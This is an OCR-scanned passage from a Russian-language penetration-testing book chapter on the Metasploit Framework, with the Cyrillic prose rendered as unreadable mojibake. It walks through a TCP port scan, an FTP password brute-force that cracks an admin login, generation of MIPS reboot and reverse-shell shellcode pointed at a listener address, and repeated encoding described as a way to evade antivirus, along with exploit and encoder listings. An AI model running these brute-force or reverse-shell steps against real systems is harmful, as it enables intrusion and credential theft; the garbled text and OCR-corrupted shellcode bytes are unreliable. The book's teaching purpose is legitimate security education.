uHTepdeiic, HAMMCAHHBIN CTOPOHHUMHU Pa3paboTYNKaMU Ha SI3bIKE Java U [0 yMOJI-
JaHUIO yKe BKIoueHHbIN B coctas Kali Linux.
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Armitage [ O <

Armitage View Hosts Attacks Workspaces Help

(& auxliary
= B exploit
* [ payload

* (5 post

I ——

102.168.235.2

-

Console Kinmap X

1*] Mnap: ALL 1090 scanned ports on 192,168,225, 128 are clLosed

[*] mMmap: Too many fingerprints match this host to give specific 05 details
[*]1 Mmap: Network Distance: © hops

[*] mMmap: NSEi Script Post-scanning.

[*] mMmap: Lnitiating NsE at 02102

[*] Mmap: Completed NSE at ©2:02, 0,805 elapsed

[*] Mmap: Lnitiating NSt at 92102

[*] mMmap: Completed NSE at ©2:02, 0,005 elapsed

[*1 mMmap: i

[*] Mmap: 05 and Service detection performed. Please report any incorrect results at
https://nmap.org/submitys .

[*]1 Mmap: HMmap done: 256 IP a es (1 hosts up) scanned in 29,18 seconds

[*] Mmap: Raw packets sent: /&3. 36, 818K8) | Hovdi 3062 (128.856KB)

Puc. 14.1. becnnaTHblli rpacduyeckuin nHtepdeiic Armitage

BcnomoraTesnbHble Moaynu

Wrak, Mbl BbisscHUIM, 4TO Metasploit — 9To OJIHOIIEHHAS CUCTEMA JIJIs TECTUPOBA-
HUSI Ha TPOHUKHOBeHMe. Kor/ia Mbl Ha3biBaeM MPOYKT CHCTEMOI, 9TO 03HAYAET, UTO
OH COCTOMT M3 MHOKECTBA 0JIE3HBIX HHCTPYMEHTOB U yTUJINUT. BeriomoraresibHble
moxyau (Auxiliary) B Metasploit Framework — 5710 He6oJ1bIINe KOMIIOHEHTBI, IPEe/-
Ha3HAYeHHbIE [T BBITTOJTHEHMS Ollpe/ie;IeHHON 3asaun. Harmpumep, ¢ X moMoIbio
MBI MOKEM ITPOCKAHNPOBATD MO/ICETh HA HATTMUNE aKTUBHBIX XOCTOB U Y3HATD, KaKHe
MOPTHI Ha HUX OTKPBITHI, OCYIIECTBUTH M0A00P Taposieil wiu Haiitu FTP-cepBepsr,
Ha KOTOPBIX paspelleH aHOHUMHBIN TOCTYTI.

Metasploit coepsKuT COTHI TaKMX MOJYJIEH, IPOCMOTPETD CIIMCOK JOCTYIIHBIX MOLY-
JIEH MOJKHO C MCITOJIb30BaHNEM KOMaHbI show auxiliary:

msf6 > show auxiliary

Auxiliary

#  Name Disclosure
Date Rank Check Description
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@ auxiliary/admin/2wire/xslt_password_reset 2007-08-15
normal No 2Wire Cross-Site Request Forgery Password Reset Vulnerability
1 auxiliary/admin/android/google_play_store_uxss_xframe_rce
normal No Android Browser RCE Through Google Play Store XFO
2 auxiliary/admin/appletv/appletv_display_image
normal No Apple TV Image Remote Control
3  auxiliary/admin/appletv/appletv_display_video
normal No Apple TV Video Remote Control
4  auxiliary/admin/atg/atg_client
normal No Veeder-Root Automatic Tank Gauge (ATG) Administrative Client

ITH MOZLYJTU MOKHO TPYIIIMPOBATH MO PA3JUYHBIM KaTETOPUSM, B 3aBUCUMOCTHU
OT BBITIOTHSIEMBIX UMU (hyHKIMI. [IpuBeneM HEKOTOPbIe U3 OCHOBHBIX KATETOPUIA
BCITOMOTATETbHBIX MOJLYJIEH:

® CKaHuUpOBaHHE: MOAYJIH, UCIIOJb3yeMble [IJ1 CKAaHUPOBAHUA CETU HaA IIPeAMeET
HaJan4dusa aKTUBHBIX XOCTOB, OTKPBITHIX ITOPTOB 1 CEPBUCOB;

® (hass3mHT: MOJYJTH, NCTIOB3YeMBIE /LIS TECTHPOBAHNS YSI3BUMOCTEH TIPUITOKEHTTH
U CEPBUCOB MyTEM OTIPABKU CIYUYAWHBIX UJIU CTEIUATBHO TTOATOTOBIECHHBIX
JAHHDIX;

e cuudUHT: MOLYJIH, UCIIOJb3yeMble [ TIepeXBaTa U aHaJn3a CeTeBOro Tpa-
(uka;

® [IOCTYII: MOJIYJIH, TIO3BOJISTIONINE TIPOBEPSITh PA3JINUHBIE BU/IBI IOCTYTIA, HATIPIMED
aHoHuMHoTO foctyna Kk FTP-cepsepaw;

e cuydunr u DOS-aTaku: MOJyJiu, UCIIOJIb3YEMBbIE JIJISI UMUTAIIMU J[PYTUX CUCTEM
(cryuHI) WM NPOBELEHUs aTaK, HallpaBJIEeHHBIX HA OTKa3 B 00CIyKUBAHUU
(DOS-arakn);

® Q/IMUHUCTPUPOBaHUE: MOAYJIM, [IOMOTalOI1e B TaKNX aIMUHUCTPATUBHBIX 3a-
ladaX, KaK C60p I/IH(l)OpMaLlI/II/I O CucTeMe, yupabJjeHune 1mporeccaMu 1 T. 11.;

® aHaJINn3 y;ISBI/IMOCTefIZ MO/YJIN, UCITIOJIb3YEMDbIE JIJI OTIPEAC/ICHNA U aHaIn3a yAa3-
BUMOCTEN B I[eJIEBBIX CUCTEMAX.

W cnosp3oBaTh JII0O0M U3 MOJYJIel MOKHO IIPU MOMOIIN KOMaH/IbI use, a IIOCMOTPETh
JIOCTYITHBIE OIIIMHU C TIOMOIbI0 KOMaH bl info. [IpomeMoHCTprUpyeM BO3MOXKHOCTU
HEKOTOPBIX MOTYJIeH, HauaB cO CKaHepa TTOPTOB.

msf6 auxiliary(syn) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > info

Name: TCP Port Scanner
Module: auxiliary/scanner/portscan/tcp
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
hdm <x@hdm.io>
kris katterjohn <katterjohn@gmail.com>
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Basic options:

Name Current Setting Required Description

CONCURRENCY 10 yes The number of concurrent ports
to check per host

DELAY (2] yes The delay between connections, per
thread, in milliseconds

JITTER 0 yes The delay jitter factor (maximum

value by which to +/- DELAY)
in milliseconds.

PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR
identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in
milliseconds
Description:

Enumerate open TCP services by performing a full TCP connect on each
port. This does not need administrative privileges on the source
machine, which may be useful if pivoting.

msf auxiliary(tcp) > set RHOSTS 192.168.225.0/24
RHOSTS => 192.168.225.0/24

msf auxiliary(tcp) > set THREADS 10

THREADS => 10

msf auxiliary(tcp) > run

[*] 192.168.225.2: - 192.168.225.2:53 - TCP OPEN
[*] 192.168.225.1: - 192.168.225.1:21 - TCP OPEN
[*] 192.168.225.1: - 192.168.225.1:135 - TCP OPEN
[*] 192.168.225.1: - 192.168.225.1:2701 - TCP OPEN
[*] 192.168.225.1: - 192.168.225.1:8081 - TCP OPEN

Ecom BbI BHUMAaTEIbHO O3HAKOMUJIMCH C TTPUBEIEHHBIM BBITIIE TIPUMEPOM, TO 3aMETH-
JIN, 4TO MbI CKOH(UTYPUPOBATIN MO/IYJIb IIEPEJT 3aITyCKOM. /[JIsT 9TOTO MCIIOIh30BaIaCh
KOMaH/1a set, 3a Heli cJle/lyeT UM TapamMeTpa, a 3aTeM ero 3Hauenue. B kaxjaom Mojy-
Jie Bbl BCTPETUTE JIBa TUIIA IIAPAMETPOB, OJ{HU 00513aTe/IbHbI K 3aI10JHEHUIO, IPyThe —
HeT. B HatlleM cirydae Mbl 3a/1aJii 3HAUCHUSI He JIJIsT BCeX 00sI3aTeIbHBIX TapaMeTPOB,
U MOJLYJIb UCITOJIb30BAJI T€, KOTOPbIE OBLIN OIPE/Ie/ICHbI Pa3padOTUYMKAMHU.

Kak yske yIoMUHaI0Ch, € TIOMOIIBIO BCIIOMOTIaTe/IbHbIX MOLYJIEil MOKHO IepedupaTh
HapoJik K Pa3JUYHbIM cepBucaM. [IpoeMOHCTPUpPYeM TT0A00P TAPOJist U UMEHU
MOJIb30BaTeIst K paHee oOHapyskerHoMy FTP-cepBepy:

msf6 auxiliary(tcp) > use auxiliary/scanner/ftp/ftp_login
msf6 auxiliary(ftp_login) > info

Name: FTP Authentication Scanner
Module: auxiliary/scanner/ftp/ftp_login
License: Metasploit Framework License (BSD)
Rank: Normal



Provided by:

todb <todb@metasploit.com>

Basic options:
Name

BLANK_PASSWORDS
BRUTEFORCE_SPEED

DB_ALL_CREDS
DB_ALL_PASS
DB_ALL_USERS
PASSWORD
PASS_FILE
Proxies
RECORD_GUEST

the database
RHOSTS

identifier
RPORT

STOP_ON_SUCCESS

works for a host
THREADS
USERNAME

USERPASS_FILE

USER_AS_PASS
USER_FILE

VERBOSE

Description:

Current Setting

false
false

false

false

21
false

false

true

Required

no
yes

no
no
no
no
no

no

no
yes

yes
yes

yes
no

no

no
no

yes
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Description

Try blank passwords for all users
How fast to bruteforce, from ©
to 5

Try each user/password couple
stored in the current database
Add all passwords in the current
database to the list

Add all users in the current
database to the list

A specific password to
authenticate with

File containing passwords, one
per line

A proxy chain of format
type:host:port[,type:host:port]
loool

Record anonymous/guest logins to
The target address range or CIDR

The target port
Stop guessing when a credential

The number of concurrent threads
A specific username to
authenticate as

File containing users and
passwords separated by space,
one pair per line

Try the username as the password
for all users

File containing usernames,

one per line

Whether to print output for all
attempts

This module will test FTP logins on a range of machines and report
successful logins. If you have loaded a database plugin and

connected to a database this module will record successful logins
and hosts so you can track your access.

References:

http://cvedetails.com/cve/1999-0502/

msf auxiliary(ftp_login) > set PASS_FILE /root/passwords.txt
PASS_FILE => /root/passwords.txt
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msf auxiliary(ftp_login) > set USERS_PASS /root/users.txt
USERS_PASS => /root/users.txt

msf auxiliary(ftp_login) > set RHOSTS 192.168.225.1
RHOSTS => 192.168.225.1

msf auxiliary(ftp_login) > run

[*] Connecting to FTP server 192.168.225.1:21...

[*] Connected to target FTP server.

192.168.225.

[*] 1:21 FTP - [046/300]- Attempting FTP login for ‘'backup':'abc123'
[*] 192.168.225.1:21 FTP - [047/300] - Failed FTP login for 'backup':'abc123'
[*] 192.168.225.1:21 FTP- [048/300] - Attempting FTP login for ‘'upload':'root’
[*] 192.168.225.1:21 FTP- [049/300] - Failed FTP login for 'upload':'root’

[*] 192.168.225.1:21 FTP - [122/300] - Attempting login for 'admin':'1234567'
[+] 192.168.225.1:21 - Successful FTP login for ‘'admin':'1234567'
[*]192.168.225.1:21 - User ' admin ' has READ/WRITE access

MNone3Has Harpy3ka

Baxnocts mosiesnoii Harpysku (payloads) npommmoctprpyeM GBITOBBIM TIPHMEPOM.
[IpeanonosxM, 4To BbI 3ab60JIE/IU ¥ Bpay HA3HAYMJI BAM KyPC JIEYCHUsS U3 JECATU
BHYTPUBEHHBIX YKOJIOB. MeIuInHCKast cecTpa 6epet Uiy, IPHUIL, HaXOAUT HYKHOE
MECTO JIJI51 THBEKI[UH, TPOHUKAET IIPY TTOMOTIIN UMEeIOIerocss NHCTPYMEHTapHs B 110-
JIOCTH BEHBI U... /lajiee HUUETo He TIPONCXO/NT, Be/lb Mepe/l PoBe/leHneM NHBEKITUN
oHa He Habpasia MoJIe3HbIH Tpemapar B MITPHIL.

Bepuemcs B mpeameTHoe 1oJe nH(GOPMALMOHHBIX TexHooruil. Payload B konrtekcre
uHGOPMAIIMOHHON GE30MACHOCTH OTHOCKUTCS K YaCTU KOJA, KOTOPast BBITIOJIHSIETCST
TOCJIe YCTIENTHOM 9KCIUTYaTaIly YSI3BUMOCTH B TiesieBoit cucteme. Payload mosker
BBITIOJTHUTH MHOKECTBO PA3TMIHBIX (DYHKITHIH, HATTPUMED OTKPLITH 0OPATHOE COEMTH-
HeHVe Win cobpaTh U OTIPABUTH KOHGUIEHIHATBHYT0 HHGOpMaIn (aposu, TaH-
HbIe KPeAUTHBIX KapT U T. 11.). C Toukn 3pernst Metasploit payload sisnsiercs komom,
KOTOPBIH 3arpyskaercs 1ocje YCIelHOTO UCII0Ab30BAHNU MO IS 9KCILTyaTalllH.

[Momesmyto Harpy3ky B Metasploit MOXKHO pa3menTh Ha TP OCHOBHbIE KATETOPUTL:

e Singles. CamocTosiTesbHble (hyHKIIMOHATBHBIE YACTH KO/, KOTOPBIE BBIMOJIHSIOT
CBOIO 33/1a4y [OJHOCTbIO HE3ABUCKMO ¥ He TPeOYIOT 3arpy3KH JA0NOJIHUTENIHLHOTO
Ko/1a. VIX OCHOBHO#1 HEIOCTATOK — OHU OOBITHO MMEIOT OOJIBIIINI PasMep U MOTYT
BBITIOJTHATDH TJOCTATOYHO MTPOCTBIE d)yHK]_H/II/I, TaKHMe KaK OTKPbITHE 06paTHOFO
IIeJITa UJTH BBITTOJTHEHUE OTIPEIETeHHON KOMaH/IbI.

e Stagers. CiysKat 171 yCTAaHOBJIEHUS HAIEKHOTO KaHaJa MEKIY aTaKyIOIUM
U [[EJIEBBIM KOMITBIOTEPOM JIJIsT 3aTPy3Ku GoJiee KPYITHBIX 1 CJIOKHBIX (DYHKIHO-
HAJIBHBIX YacTel KO/, M3BECTHBIX Kak stages. Stagers 0GbIYHO MaJIb 110 pasMepy,
U UX OCHOBHAs 3a/1a4a — 00eCIeYnTh JOCTaBKy stage.

e Stages. 3arpy:kaiorcs 1ocJie Toro, Kak stager ycenrHo yCTaHOBUJI COe/JUHEHME.
ITH YacTu Kojia 0OBIYHO 00JAAI0T 3HAUUTEIBHO GOJIbIIEH (HYHKIIMOHATBHO-
cThio, ueM singles nim stagers. OHU MOTYT CO/lEPKATH Pa3iudHbie (DYHKIIUN,
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BO3MOXKHOCTH MIM(POBAHI, CKPBITOTO TYHHEJNPOBAHUS U e rpadudeckiie
nHTepdech.

IMostesHol HArPy3KOit OYET SIBISATHCS MEJUT-KOJT, TI03TOMY TIPEK/IE BCETO HEOOXOIH-
MO BBIOpATh HYSKHBIH JIJIsT TeHEPATIU,

Jlist mocseytoneii reHepary UCmob3yercst KoMana generate. MHoraa nmpuxo-
AUTCs U36aBIATHCS OT HEKENATEbHBIX CHMBOJIOB, HAITpUMEp HyJieBoro Oaiita (null
byte). YtobbI 3T0 crenaTh, HEOOXOAUMO 3aIyCTUTh TEHEPAIIUIO C TAPAMETPOM b, MO~
¢Jie KOTOPOTO B KABBIYKAX YKA3aTh KOJBI CUMBOJIOB, KOTOPBIX He OJIKHO OBITH B KO-
HeuHoM Kojie. Ho citefryer yuaecTs, 9To X He BCeria MOKHO HCKITIOUUTD, B HEKOTOPHIX
caydasx GpedMBOPK HUYETO He CTEHEPUPYET U BBIACT coobienue 06 ormuoKe.

msf6 use payload/linux/mipsbe/reboot

msf6 payload(reboot) > generate -b '\x00'
linux/mipsbe/reboot - 124 bytes
http://www.metasploit.com

Encoder: mipsbe/longxor

VERBOSE=false, PrependFork=false, PrependSetresuid=false,
PrependSetreuid=false, PrependSetuid=false,
PrependSetresgid=false, PrependSetregid=false,
PrependSetgid=false, PrependChrootBreak=false,
AppendExit=false

buf =

"\x24\x0e \Xxff\xf5\x01\xcO\x70\x27\x24\x0b\xff\xb7\x05\x10"
"\XFF\xFF\x28\x08\x82\x82\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x28\x17\x82\x82\x8F\x31\xff\xfc\x24\x0d\xff\xfb\x01\xa0"
"\x68\x27\x21\xaf \xff\xfd\x8F\x28\xff\xfc\x02\xef\xb8\x21"
"\x01\x11\x18\x26\x02\xee\xfO\x2b\xaf\x23\xff\xfc\x21\xa6"
"\XFF\XFF\X17\XCcO\XFF\xF9\x03\x2d\xc8\x21\x24\x02\x10\x33"
"\x01\x4a\x54\x0c\x2f\x3b\x6d\xfe\x13\x3d\x2e\xdf\x1b\xfd"
"\x93\x22\x13\x3e\x45\xec\x1b\x9e\x74\x97\x13\x3F\x93\x1f"
"\x1b\xbf\xb3\x53\x0b\x39\x62\x06\x2e\x3a\x6c\xf2"

msf payload(reboot) >

H OHHEH H H HH

+ 4+ + + + + 4+

HexkoTopbie 1mesi-Koasl TpeOYIOT yKA3aHUST TOMOTHUTETHHBIX TTAPAMETPOB JIJIST
renepanun. JleficTBUTENBHO, OTKYA (HPeiiMBOPK 63 HUX CMOJKET Y3HATD, C KaKOi
MAIITUHON JIOJKEH COeIMHUTBCST CKOMITPOMETUPOBAHHBIN cepBep?

msf6 payload(reboot) > use payload/linux/mipsbe/shell reverse_tcp
msf payload(shell_reverse_tcp) > show options

Module options (payload/linux/mipsbe/shell reverse_tcp):

Name Current Setting Required Description

LHOST yes The listen address
LPORT 4444 yes The listen port

msf payload(shell reverse_tcp) > generate -o LPORT=3455,LHOST=192.168.10.1
# linux/mipsbe/shell_reverse_tcp - 184 bytes
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VERBOSE=false, LHOST=192.168.10.1, LPORT=3455,
ReverseAllowProxy=false, ReverseConnectRetries=5,
ReverselListenerThreaded=false, PrependFork=false,
PrependSetresuid=false, PrependSetreuid=false,
PrependSetuid=false, PrependSetresgid=false,
PrependSetregid=false, PrependSetgid=false,
PrependChrootBreak=false, AppendExit=false,
InitialAutoRunScript=, AutoRunScript=

buf =
"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5"
"\xFF\xFd\x28\x06\xFfF\xff\x24\x02\x10\x57\x01\x01\x01\x0c"
"\xaf\xa2 \xff\xff\x8f\xad\xff\xff\x34\x0f\xff\xfd\x01\xe0"
"\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x0d\x7f\x35\xce\x0d\x7f"
"\xaf\xae\xff\xe4\x3c\x0e\xcO\xa8\x35\xce\x0a\x01\xaf\xae"
"\Xxff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27"
"\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x11\xff\xfd\x02\x20"
"\x88\x27\x8F\xad\xfF\xff\x02\x20\x28\x21\x24\x02\x0f\xdf"
"\x01\x01\x01\x0c\x24\x10\xff \xfF\x22\x31\xff\xff\x16\x30"
"\xFF\xfa\x28\x06 \xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69"
"\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae"
"\XFF\xfO\xaf\xa0\xff\xf4\x27\xad\xff\xec\xaf\xad\xff\xf8"
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01"
"\x01\x0c"

msf payload(shell_reverse_tcp) >

HOH H OH H B HH

H*

+ 4+ + o+ o+ o+ o+ o+ o+

Crout yrnomMstHyTh ¥ 0 KoJndecTBe mppoBanuil. ViMeercs B BUY, CKOJIBKO Pa3
Metasploit sammudpyer Hatr kox. ITO HEOOGXOIMMO IS TOTO, YTOOBI CAETATH KOJL
MeHee 3aMEeTHBIM /11T aHTUBUPYCHBIX IPOTPAMM.

msf6 payload(shell reverse_tcp) > generate -o LPORT=3455,LH0ST=192.168.10.1 -b
'\x00"' -i6

linux/mipsbe/shell_reverse_tcp - 276 bytes
http://www.metasploit.com

Encoder: mipsbe/longxor

VERBOSE=false, LHOST=192.168.10.1, LPORT=3455,
ReverseAllowProxy=false, ReverseConnectRetries=5,
ReverselListenerThreaded=false, PrependFork=false,
PrependSetresuid=false, PrependSetreuid=false,
PrependSetuid=false, PrependSetresgid=false,
PrependSetregid=false, PrependSetgid=false,
PrependChrootBreak=false, AppendExit=false,
InitialAutoRunScript=, AutoRunScript=

buf =
"\Xx24\x0e\xff\xcf\x01\xcO\x70\x27\x24\x0b\xff\xb7\x05\x10"
"\xFF\xFF\x28\x08\x82\x82\x01\x60\x58\x27\x03\xeb\xc8\x21"
"\x28\x17\x82\x82\x8F\x31\xfF\xfc\x24\x0d\xff\xfb\x01\xa0"
"\x68\x27\x21\xaf\xFff\xfd\x8f\x28\xff\xfc\x02\xef\xb8\x21"
"\x01\x11\x18\x26\x02\xee\xfO\x2b\xaf\x23\xff\xfc\x21\xa6"
"\XFF\XFFAX17\xcO\XxFF\xF9\x03\x2d\xc8\x21\x24\x02\x10\x33"
"\x01\x4a\x54\x0c\x36\x6d\xd3\xea\x12\x62\x2c\x10\x37\x8d"
"\xab\xcd\x17\x89\x2c\x17\x17\x88\x2c\x17\x1le\x6b\x2c\x15"
"\x12\x6f\xc3\xbd\x37\x6c\xd2\xe6\x99\xcf\x2c\x15\xb9\xc9"

HOH H OH H HHHHHH

+ o+ + + + + + + o+
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"\x2c\x15\x02\x62\x2c\x17\x37\x8d\xab\xcd\x99\xc2\x2c\x0a"
"\x0a\x63\xde\x95\x03\xa3\xde\x95\x99\xc3\x2c\x0e\x0a\x63"
"\x13\x42\x03\xa3\xd9\xeb\x99\xc3\x2c\x0c\x11\xc8\x2c\x08"
"\x12\x61\x2c\x05\x37\xed\xe3\xcd\x12\x6f\xc3\xa0\x37\x6¢c"
"\xd2\xe6\x12\x7c\x2c\x17\x34\x4d\x5b\xcd\xb9\xc9\x2c\x15"
"\x34\x4d\xfb\xcb\x12\x6f\xdc\x35\x37\x6c\xd2\xe6\x12\x7d"
"\x2c\x15\x14\x5c\x2c\x15\x20\x5d\x2c\x10\x1le\x6b\x2c\x15"
"\x0a\x62\xfc\xc5\x03\x82\xb1\x83\x99\xc2\x2c\x06\x0a\x63"
"\xbd\xc5\x03\xa3\xa0\x82\x99\xc3\x2c\x1a\x99\xcd\x2c\xle"
"\x11\xc9\x2c\x06\x99\xc9\x2c\x12\x99\xcd\x2c\x16\x11\xc8"
"\x2c\x12\x12\x6f\xdc\x41\x37\x6c\xd2\xe6"

msf payload(shell reverse_tcp) >

+ o+ + o+ o+ o+ o+ o+

SKCN/IONTHI

IKCIIONT — 3TO cHeraibHag IPOrpaMMa, KOTopasi UCIOJIb3yeT U3BECTHBIC YSI3BU-
MOCTH B TTPOTPAMMHOM OO€eCTIeTeHIHN JIJIsT TIPOBEIEHIST ATAKH C TETBIO MTOTYIeHUsT
KOHTPOJIST HaJl CHCTEMOT MJTH BBIBOZIA €€ 3 CTPOsT (0TKa3a B OOCTYKUBAHUN).

SKCHHOﬁTbI6HB3KHTYH3HGHHHB,pa6OTaDHHK3q€p63KOMHbKﬂEpHyK)CeTb,HHH
JIOKaJIbHbI€ — OHH 3allyCKalOTCA HEIIOCPEACTBEHHO B caMoOil cucTeMe.

B Metasploit 9kcII0iTbI Ie/STCSA Ha aKTUBHBIE Y IACCUBHBIE. AKTHBHbIE HAUMHAIOT
AKCIIyaTUPOBATh OTIPE/IEJICHHYIO ysI3BUMOCTh B [1O cpasy ke mociie 3amycka u 3a-
KaH4YMBaIOT CBOIO PaboTy B Cilydae yaadu WK poBaja. [lacCuBHbIE HKIyT NOAKIII0YE-
HIIs YAQJIEHHOTO XOCTa ¥ TOJIBKO IIOCJIE 9TOT0 HAYMHAIOT CBOIO paboTy. Harpumep, Mbl
MOJKEM 3aITyCTUTD IKCILIONT, OTIIPABUB KEPTBE KIMEHTCKYTO YaCTh M0 3JIEKTPOHHOM
noute. [locisie TOro Kak moJydyaTesb OTKPOET MPUIOKEHNE K TTUChMY, KIUEHTCKAs
JacTh COEIMHUTCS C 3aITyIEHHBIM PaHee IKCTIONTOM W TOT HAYHET aTaKy.

[IpocMoTpeTh Bce AOCTYITHBIE HKCIIJIOUTHI MOKHO C TTOMOIbIO KOMaH/bl show
exploits, 0J{HAKO 9TO He Bceraa yaoOHO, yYUThIBasE KX OTPOMHOE KOJIUYECTBO:

msf6 > show exploits

Exploits
# Name
Disclosure Date Rank Check Description
0 exploit/aix/local/ibstat_path
2013-09-24 excellent Yes ibstat $PATH Privilege Escalation
1 exploit/aix/local/xorg_x11_server
2018-10-25 great Yes Xorg X11 Server Local Privilege Escalation
2 exploit/aix/rpc_cmsd_opcode21l
2009-10-07 great No AIX Calendar Manager Service Daemon (rpc.
cmsd) Opcode 21 Buffer Overflow
3 exploit/aix/rpc_ttdbserverd_realpath
2009-06-17 great No ToolTalk rpc.ttdbserverd _tt_internal_

realpath Buffer Overflow (AIX)



318 naBa 14 e Metasploit Fremework

4 exploit/android/adb/adb_server_exec
2016-01-01 excellent Yes Android ADB Debug Server Remote Payload Exec
ution
5 exploit/android/browser/samsung_knox_smdm_url
2014-11-12 excellent No Samsung Galaxy KNOX Android Browser RCE
6 exploit/android/browser/stagefright_mp4_tx3g_64bit
2015-08-13 normal No Android Stagefright MP4 tx3g Integer Overflow
7 exploit/android/browser/webview_addjavascriptinterface
2012-12-21 excellent No Android Browser
and WebView addJavascriptInterface Code Execution
8 exploit/android/fileformat/adobe_reader_pdf_js_interface
2014-04-13 good No Adobe Reader for
Android addJavascriptInterface Exploit
9 exploit/android/local/binder_uaf
2019-09-26 excellent No Android Binder Use-After-Free Exploit

[lna Toro, 4TO6bI 06/SErYnTb MOUCK HYXHOrO SKCMIOUTA, Jy4lle BOCMO/Jb30BaTbCA
MONCKOM.
msf6 > search exploit/windows/fileformat/

Matching Modules

# Name Disclosure
Date Rank Check Description

0 exploit/windows/fileformat/a_pdf_wav_to_mp3 2010-08-17
normal No A-PDF WAV to MP3 v1.0.0 Buffer Overflow

1 exploit/windows/fileformat/abbs_amp_lst 2013-06-30
normal No ABBS Audio Media Player .LST Buffer Overflow

2 exploit/windows/fileformat/acdsee_fotoslate_string 2011-09-12
good No ACDSee FotoSlate PLP File id Parameter Overflow

3 exploit/windows/fileformat/acdsee_xpm 2007-11-23
good No ACDSee XPM File Section Buffer Overflow

4 exploit/windows/fileformat/allplayer_m3u_bof 2013-10-09
normal No ALLPlayer M3U Buffer Overflow

5 exploit/windows/fileformat/aol_phobos_bof 2010-01-20
average No AOL 9.5 Phobos.Playlist Import() Stack-based Buffer Overflow

6 exploit/windows/fileformat/aol_desktop_linktag 2011-01-31
normal No AOL Desktop 9.6 RTX Buffer Overflow

7 exploit/windows/fileformat/actfax_import_users_bof 2012-08-28
normal No ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow

8 exploit/windows/fileformat/adobe_libtiff 2010-02-16
good No Adobe Acrobat Bundled LibTIFF Integer Overflow...

Ewe oAuH npumep noucka.
msf6 > search name:wordpress

Matching Modules
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# Name Disclosure
Date Rank Check Description

0 exploit/multi/php/wp_duplicator_code_inject 2018-08-29
manual Yes Snap Creek Duplicator WordPress plugin code injection

1 exploit/multi/http/wp_ait_csv_rce 2020-
11-14 excellent Yes WordPress AIT CSV Import Export Unauthenticated
Remote Code Execution

2 exploit/unix/webapp/wp_admin_shell_upload 2015-02-
21 excellent Yes WordPress Admin Shell Upload

3  auxiliary/gather/wp_all_in_one_migration_export 2015-03-
19 normal Yes WordPress All-in-One Migration Export

4  exploit/unix/webapp/wp_asset_manager_upload_exec 2012-05-26

excellent Yes WordPress Asset-Manager PHP File Upload Vulnerability
5 auxiliary/scanner/http/wordpress_login_enum

normal No WordPress Brute Force and User Enumeration Utility

6 auxiliary/scanner/http/wordpress_cp_calendar_sqli 2015-03-
03 normal No WordPress CP Multi-View Calendar Unauthenticated SQL
Injection Scanner

7 auxiliary/scanner/http/wp_chopslider_id_sqli 2020-05-
12 normal No WordPress ChopSlider3 id SQLi Scanner

8 auxiliary/scanner/http/wp_contus_video_gallery sqli 2015-02-
24 normal No WordPress Contus Video Gallery Unauthenticated SQL
Injection Scanner

9 exploit/multi/http/wp_crop_rce 2019-02-
19 excellent Yes WordPress Crop-image Shell Upload ...
DHKOAEepbI

Iuronepsr (encoders) — aT0 MOZYJIH, UCTIOTB3YEMBbIE /TSt U3MEHEHST BPEOHOCHOTO
KOJIa C 1[eJThI0 M306eKaTh ero 0OHAPYKEeHUS aHTUBUPYCHBIMHU TiporpamMmmamu uin [DS.
IHKO/EPBI TPOBOAAT 0O(DYCKAIMIO, UIIU COKPBITHE, BPEAOHOCHOTO KO/Ia, TIPeobpasyst
ero B hopMaT, KOTOPBIiT CJIOKHEE OOHAPYKHUTD.

KiioueBoit 0c06eHHOCTBIO 9HKOEPOB SIBJSIETCS TO, YTO OHY UCTIONB3YIOT AJITOPUTMBI,
KOTOPBIE TIO3BOJISTIOT KOy BPeOHOCHOTO 11O «/IeKOIMPOBATH» MM BOCCTAHOBUTH
cebst B MCXO/[HOE COCTOSTHIE B MOMEHT BBITIOJTHEH VST Ha [[eJIEBOM KoMTibiotepe. B pe-
gyasrare BpesionocHoe 110 MokeT uzberars 0OHAPYKEHMSI [I0 TEX MOP, [TOKa He Oy1eT
AKTUBUPOBAHO.

OnHAKO CIEMYET OTMETHUTD, YTO GOJBITMHCTBO COBPEMEHHBIX aHTHBUPYCHBIX TIPO-
IpaMM U CUCTEM OOHAPYKEHUsST BTOPXKEHMIT 0OHAPYKUBAIOT MOMYJISIPHbIE METOIbI
ob6dyckanuu u sHKOUHTA. TeM He MeHee 9HKO/IEPhI TTO-TTPEKHEMY TI0JIE3HBI B HEKO-
TOPBIX CUTYAIHSIX, HATIPUMED /17151 00Dy CKAIIK HOBOTO UJIH HEOOBIYHOTO BPEIOHOC-
HOTO KOJIa, KOTOPBIA eliie He OblI 1006aBIeH B 6a3y JaHHBIX aHTUBUPYCHBIX CUTHATYD.
BoiBecTu UX IOJIHDBIN CIIMCOK MOXKHO KOMaH/I0i1 show encoders:
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msf6 > show encoders

Encoders

#  Name Disclosure Date
Description

@ encoder/cmd/brace
Bash Brace Expansion Command Encoder
1 cencoder/cmd/echo
Echo Command Encoder
2  encoder/cmd/generic_sh
Generic Shell Variable Substitution Command Encoder
3  encoder/cmd/ifs
Bourne ${IFS} Substitution Command Encoder
4  encoder/cmd/perl
Perl Command Encoder
5 encoder/cmd/powershell_base64
Powershell Base64 Command Encoder
6 encoder/cmd/printf_php_mq
printf(1) via PHP magic_quotes Utility Command Encoder
7 encoder/generic/eicar
The EICAR Encoder
8 encoder/generic/none
The "none" Encoder
9 encoder/mipsbe/byte_xori
Byte XORi Encoder
10 encoder/mipsbe/longxor
XOR Encoder

Rank
low
good
manual
low
normal
excellent
manual
manual
normal
normal

normal

Check

No

No

No

No

No

No

No

No

No

No

No

Metasploit nepex mudposanuem cam BbiOUpaet HanboJiee MOAXOAAMII TUIT Hind-
